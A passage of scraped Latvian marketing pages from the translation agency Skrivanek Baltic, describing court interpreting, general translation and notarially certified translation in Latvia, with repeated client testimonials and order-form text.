pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  --- > Nodošinām tulkojumus tiesas sēdēs. Mūsu tulki ir pieredzējuši un labi orientējas juridiskajā terminoloģijā. Sazinieties ar mums! 👆️ - Published: 2017-10-22 - Modified: 2024-11-06 - URL: https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/tiesas-sezu-tulkosana/ - Translation Priorities: Optional Ja nepieciešams tulka atbalsts tiesas sēdes laikā, ir būtiski, lai tulks ne tikai spēj iztulkot visu iesaistīto personu sacīto, bet arī orientētos jurisprudences jautājumos, terminoloģijā un procesā. Skrivanek Baltic komandā ir tulki, kas specializējušies tiesu sēžu tulkošanā. Ir svarīgi, lai tiesā tulkojumu nodrošina profesionālis, jo cilvēks bez atbilstošas izglītības un pieredzes nespēs pilnībā izprast procesu un tajā izmantoto terminoloģiju. Jauktu laulību šķiršana, zaudējumu piedziņa, darba attiecību strīdi, neizpildītas saistības vai īpašuma jautājumi – tie ir jautājumi, kuru tiesvedībā mūsu tulki piedalās regulāri, un katrā no tiem ir jāzina attiecīgā terminoloģija. Juridiskajai valodai ir raksturīga precizitāte, un tulkojumam tiesā ir jābūt precīzam vārds vārdā. VALODAS, KURĀS VISBIEŽĀK NODROŠINĀM MUTISKOS TULKOJUMUS TIESAS SĒDĒS: latviešu–angļu–latviešu; igauņu–angļu–igauņu; lietuviešu–angļu–lietuviešu; krievu–angļu–krievu; zviedru–latviešu–zviedru, spāņu–latviešu–spāņu, itāļu–latviešu–itāļu, krievu– latviešu–krievu u. c. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu NEPIECIEŠAMS TULKOJUMS TIESAS SĒDĒ? Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaKā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai par tiesas sēžu tulkošanu jau tūlīt! VALODAS, KURĀS VISBIEŽĀK NODROŠINĀM MUTISKOS TULKOJUMUS TIESAS SĒDĒS: latviešu–angļu–latviešu; igauņu–angļu–igauņu; lietuviešu–angļu–lietuviešu; krievu–angļu–krievu; zviedru–latviešu–zviedru, spāņu–latviešu–spāņu, itāļu–latviešu–itāļu, krievu– latviešu–krievu u. c. NEPIECIEŠAMS TULKOJUMS TIESAS SĒDĒ? Sagatavosim jums piedāvājumu un nodrošināsim konsultāciju. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaKā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  --- > Sertificēts tulkošanas birojs. Dažādu dokumentu tulkojumi. 25+ gadu pieredze. Sazinieties, lai saņemtu bezmaksas cenas aprēķinu! 👆️ - Published: 2017-10-03 - Modified: 2024-07-19 - URL: https://skrivanek.lv/pakalpojumi/rakstiskie-tulkojumi/visparigi-tulkojumi/ - Translation Priorities: Optional Mēs iztulkosim personīgus vai publiskus dokumentus, drukātus materiālus vai dažādus vispārīgus grafikus. Turklāt, ja teksti nepieprasa specifiskas nozares zināšanas, tulkojums tiek veikts patiešām ātri. Šādu tekstu tulkošanai cena tiek aprēķināta par vārdu skaitu, līdz ar to gala rēķina apjoms ir skaidrs uzreiz. Citas priekšrocības, piemērojot cenu par vārdu skaitu: ātrs un vienkāršs katra uzdevuma apjoma aprēķins, nekādas nepieciešamības pielietot sarežģītas formulas; iespēja salīdzināt cenas. Piemēram, nav vienotas definīcijas “standarta lapai” katrā nozarē, līdz ar to maksa par tās iztulkošanu var atšķirties; rediģējamam formātam ir 100% garantēta cena vēl pirms pasūtījuma veikšanas; 100% precīzs tulkošanas apjoms – aprēķina laikā nav nepieciešams veikt noapaļošanu, līdz ar to klients nemaksā par papildu vārdiem. TULKOJUMA VEIKŠANAS LAIKS Mēs spējam veikt īpaši ātrus tulkojumus vien dažu stundu vai dienu laikā. Tas iespējams pateicoties mūsu ilggadējai pieredzei un iespaidīgajai tulkotāju komandai. Parastais izpildes termiņš: viena darba diena un vairāk. BIEŽĀK UZDOTIE JAUTĀJUMI Jebkādā. Nav svarīgi, kādā formātā jūs atsūtiet tekstu, jo mēs strādājam ar inx, indd, PDF, kā arī ar citiem failu formātiem. Jūs uzzināsiet cenu savlaikus, turklāt precīzu līdz pēdējam centam. Nosūtiet mums pieprasījumu, un mēs sagatavosim piedāvājumu. Noteiktajā termiņā, par kādu būsim vienojušies iepriekš. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  NEPIECIEŠAMS RAKSTISKAIS TULKOJUMS VAI KONSULTĀCIJA? Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai jau tūlīt! --- > Notariāli vai biroja apliecināts tulkojums pie dokumenta oriģināla vai kopijām, ievērojot Latvijas Republikas normatīvos aktus. Sazinieties!️ - Published: 2017-10-03 - Modified: 2025-06-17 - URL: https://skrivanek.lv/pakalpojumi/rakstiskie-tulkojumi/notariali-apliecinats-tulkojums/ - Translation Priorities: Optional KĀPĒC IR VĒRTS IZVĒLĒTIES MŪSU NOTARIĀLI UN BIROJA APLIECINĀTOS TULKOJUMUS? Profesionālisms un pieredze – Skrivanek Baltic ir sertificēts tulkošanas birojs ar vairāk nekā 30 gadu ilgu pieredzi. Mūsu kvalificētie tulkotāji nodrošina precīzus un kvalitatīvus tulkojumus. Plašs valodu klāsts – piedāvājam notariāli apliecinātus tulkojumus vairāk nekā 110 valodās. Tas nodrošina mūsu klientiem plašas iespējas un elastību. Plaša formāta atbalsts – pdf, jpg, idml, json vai html – tam nav nozīmes. Ar mūsu DTP – tekstu grafiskās apstrādes speciālistu palīdzību, nodrošinām teksta apstrādi dažādu datņu paplašinājumos. Tādēļ jums nav jāuztraucas par dokumentu apstrādi. Pielāgoti pakalpojumi – mēs piedāvājam dažādus notariāli apliecinātu tulkojumu veidus, atkarībā no klienta vajadzībām. Turklāt, mēs nodrošinām dokumentu piegādi ar kurjeru visā Latvijā. KAS IR NOTARIĀLI APLIECINĀTS TULKOJUMS? Notariāls tulkojums (arī notariāli apstiprināts vai notariāli apliecināts tulkojums) ir dokumenta tulkojums, kura pareizību ar saviem parakstiem un/vai zīmogu apliecina zvērināts notārs un kvalificēts tulkotājs. Notariāli apliecināts tulkojums ir tulkojums, kuru ar savu parakstu apliecina kvalificēts tulkotājs (Latvijā nav zvērinātu tulku/tulkotāju), bet tulkotāja parakstu apliecina zvērināts notārs. Šādu tulkojumu nepieciešamība ir paredzēta vairākos normatīvajos aktos. Praksē zvērināts notārs pārliecinās par tulkotāja izglītību un kvalifikāciju veikt tulkojumu, kā arī brīdina par tulkotāja atbildību par apzināti nepatiesu un/vai nepareizu tulkojumu saskaņā ar Latvijas Republikas Krimināllikuma 300. un 302. pantu. Skrivanek Baltic piedāvā tulkojumus ar notariālo apliecinājumu šādās valodās. KAS IR TULKOJUMI AR SKRIVANEK BIROJA APLIECINĀJUMU? Ja dokumenta tulkojumu notariāli apliecināt nav nepieciešams, bet ir nepieciešams oficiāls biroja apstiprinājums par tulkojuma pareizību, iesakām izvēlēties tulkojumu ar Skrivanek biroja apliecinājumu. Tulkojums ar biroja vai tulkotāja apliecinājumu tiek noformēts atbilstoši Ministru kabineta noteikumiem Nr. 291 "Kārtība, kādā apliecināmi dokumentu tulkojumi valsts valodā". Tas nozīmē, ka tulkojumam tiek pievienots rakstveida apliecinājums par to, ka tulkojumu ir veicis profesionāls tulkotājs tulkošanas birojā, tādējādi apliecinot, ka veiktais tulkojums ir pareizs, precīzs un atbilstošs oriģinālam. Tulkojumus ar biroja apliecinājumu klienti visbiežāk pasūta oficiāliem dokumentiem, iesniegšanai tiesās, valsts vai pašvaldību iestādēs. Ievērībai! Notariāli apliecināts tulkojums vai dokumenta tulkojums ar biroja apliecinājumu bieži tiek kļūdīgi dēvēts par zvērinātu tulkojumu vai par dokumenta tulkojumu ar zvērināta tulkotāja/tulka parakstu. Ir svarīgi atcerēties, ka Latvijā nepastāv statuss “zvērināts tulkotājs” un jēdziens “zvērināts tulkojums” tiek lietots nekorekti. Šajā gadījumā ir nepieciešams notariāli apliecināts tulkojums, kuru apliecina zvērināts notārs, vai biroja apliecināts dokumenta tulkojums, kuru paraksta konkrētā dokumenta tulkotājs. Tulkotājs ar parakstu apliecina un apstiprina, ka tulkojums ir veikts pareizi un atbilst oriģinālam. Šo apliecinājumu kopā ar tulkojumu piešuj pie dokumenta kopijas vai oriģināla. NEPIECIEŠAMS NOTARIĀLS TULKOJUMS VAI BIROJA APLIECINĀTS TULKOJUMS? SAZINIETIES AR MUMS! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai par notariāli apstiprinātiem vai biroja apliecinātiem dokumentu tulkojumiem jau tūlīt! TULKOJUMA NOTARIĀLĀ APLIECINĀJUMA VEIDI Apliecinājums pie dokumenta oriģināla: pie oriģinālā dokumenta tiek šūts tulkojums, ko apliecina kvalificēts tulkotājs, kura parakstu apliecina notārs. Apliecinājums pie kopijas: no dokumenta oriģināla tiek noņemta fotokopija, kurai tiek piešūts kvalificēta tulkotāja apliecināts tulkojums attiecīgajā valodā; fotokopiju ar tulkojumu notārs apliecina tikai tad, kad tiek uzrādīts dokumenta oriģināls. Dokumentu tulkošana un notariāla apstiprināšana ir mūsu specialitāte. KĀ SAGATAVO NOTARIĀLI APLIECINĀTU TULKOJUMU DOKUMENTAM PAPĪRA FORMĀTĀ, KURU IR NEPIECIEŠAMS IESNIEGT ELEKTRONISKI? Ja dokumenta oriģināls ir papīra formātā, bet dokumentu kopā ar tā apliecinātu tulkojumu ir nepieciešams iesniegt elektroniski un parakstītu ar e-parakstu? Šajā gadījumā vispirms tiek sagatavots dokumenta oriģināla tulkojums arī papīra formātā, kuru paraksta tulks, tad zvērināts notārs apliecina tulka paraksta īstumu papīra formātā. Kopā ar šo parakstīto tulkojumu tiek sašūts oriģināls vai oriģināla notariāli apliecināta kopija. Kad dokumenta tulkojums papīra formātā ir pilnībā pabeigts, tas tiek ieskenēts kā viens dokuments, un šo skenēto dokumentu notārs apliecina ar e-parakstu edoc, asic-e vai PDF formātā. ELEKTRONISKI PARAKSTĪTA DOKUMENTA NOTARIĀLI APLIECINĀTS TULKOJUMS Elektroniski parakstīta dokumenta notariāli apliecinātu tulkojumu var sagatavot divos dažādos veidos: elektroniski parakstīta dokumenta tulkojums un tā apliecinājums tiek sagatavots papīra formātā, piemēram, ja to ir pieciešams pievienot fiziskas lietas materiāliem, tad notārs izdrukā elektroniski parakstīto dokumentu un apliecina to kā kopiju no oriģināla, pie kuras tad attiecīgi tiek piešūts tulkojums un zvērināta notāra apliecinājums; elektroniski parakstīta dokumenta notariāli apliecināts tulkojums tiek sagatavots e-vidē tikai elektroniskā formātā; attiecīgi sākumā tulks sagatavo tulkojumu un to paraksta ar savu e-parakstu, pēc tam zvērināts notārs sagatavo tulkojuma apliecinājumu un arī to paraksta ar e-parakstu edoc vai asic-e formātā. PDF formātā šis pakalpojums nav iespējams. KORPORATĪVAJIEM KLIENTIEM, KURIEM NEPIECIEŠAMA DOKUMENTU TULKOŠANA AR NOTARIĀLO APLIECINĀJUMU, IESPĒJAMA: dokumentu iesniegšana un saņemšana Skrivanek Baltic birojā Rīgā; apliecinātā tulkojuma saņemšana notāra birojā Rīgas centrā; dokumentu piegāde ar kurjeru visā Latvijā (lai noskaidrotu pakalpojuma izmaksas, lūdzu, sazinieties ar mums). TULKOJUMA PAREIZĪBAS PIRMĀ EKSEMPLĀRA LĪDZ 10 LPP. APLIECINĀJUMS AR BIROJA ZĪMOGU TIKAI 5. 00 EIRO + PVN! Ja nav nepieciešams notariāli apliecināts tulkojums, piedāvājam apliecināt tulkojuma pareizību ar biroja zīmogu! Lūdzam ņemt vērā, ka elektroniski sagatavots un elektroniski parakstīts dokuments nav viens un tas pats. Piemēram, dažādu sistēmu automātiski ģenerēti paziņojumi vai rēķini nav uzskatāmi par elektroniski parakstītiem dokumentiem, jo lai elektroniski sagatavots dokuments iegūtu juridisku spēku, tāpat kā papīra dokuments tas ir jānoformē atbilstoši normatīvajos aktos noteiktajām dokumentu noformēšanas prasībām, proti, tam ir jāsatur visi obligātie rekvizīti. Obligātie rekvizīti e-dokumentā neatšķiras no rekvizītiem papīra dokumentos. Lai varētu nodrošināt šāda elektroniskā dokumenta notariāli apliecinātu tulkojumu, ir nepieciešams dokumentu izdrukāt un pašapliecināt, ka elektroniski sagatavotais dokuments ir īsts, tas nav viltots vai kādi citādi labots vai grozīts. Apliecinājumā ir jānorāda vārds, uzvārds, personas kods un amats. Šī pakalpojuma atrašanai cilvēki bieži kļūdaini internetā lieto dažādus atslēgas vārdus – “zvērināts tulks Rīgā, Dobelē vai Jelgavā”, “zvērināts tulkotājs”, “zvērināts tulkojums”, “zvērināts tulkojums cenas” u. tml. Svarīgi atcerēties, ka Latvijā nav zvērināta tulka un tulkotāja institūta un visi šie meklējumi pēc būtības ir notariāli apliecināti tulkojumi. NOTARIĀLI TULKOJUMI VAIRĀK NEKĀ 110 VALODĀS Angļu valoda Arābu valoda Armēņu valoda Čehu valoda Dāņu valoda Franču valoda Grieķu valoda Gruzīnu valoda Hindi valoda Lietuviešu valoda Norvēģu valoda Igauņu valoda Itāļu valoda Krievu valoda Ķīniešu valoda Poļu valoda Portugāļu valoda Somu valoda Rumāņu valoda Spāņu valoda Ungāru valoda Vācu valoda Zviedru valoda Citas valodas Angļu valoda Arābu valoda Armēņu valoda Čehu valoda Dāņu valoda Franču valoda Grieķu valoda Gruzīnu valoda Hindi valoda Lietuviešu valoda Norvēģu valoda Igauņu valoda Itāļu valoda Krievu valoda Ķīniešu valoda Poļu valoda Portugāļu valoda Somu valoda Rumāņu valoda Spāņu valoda Ungāru valoda Vācu valoda Zviedru valoda Citas valodas KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis 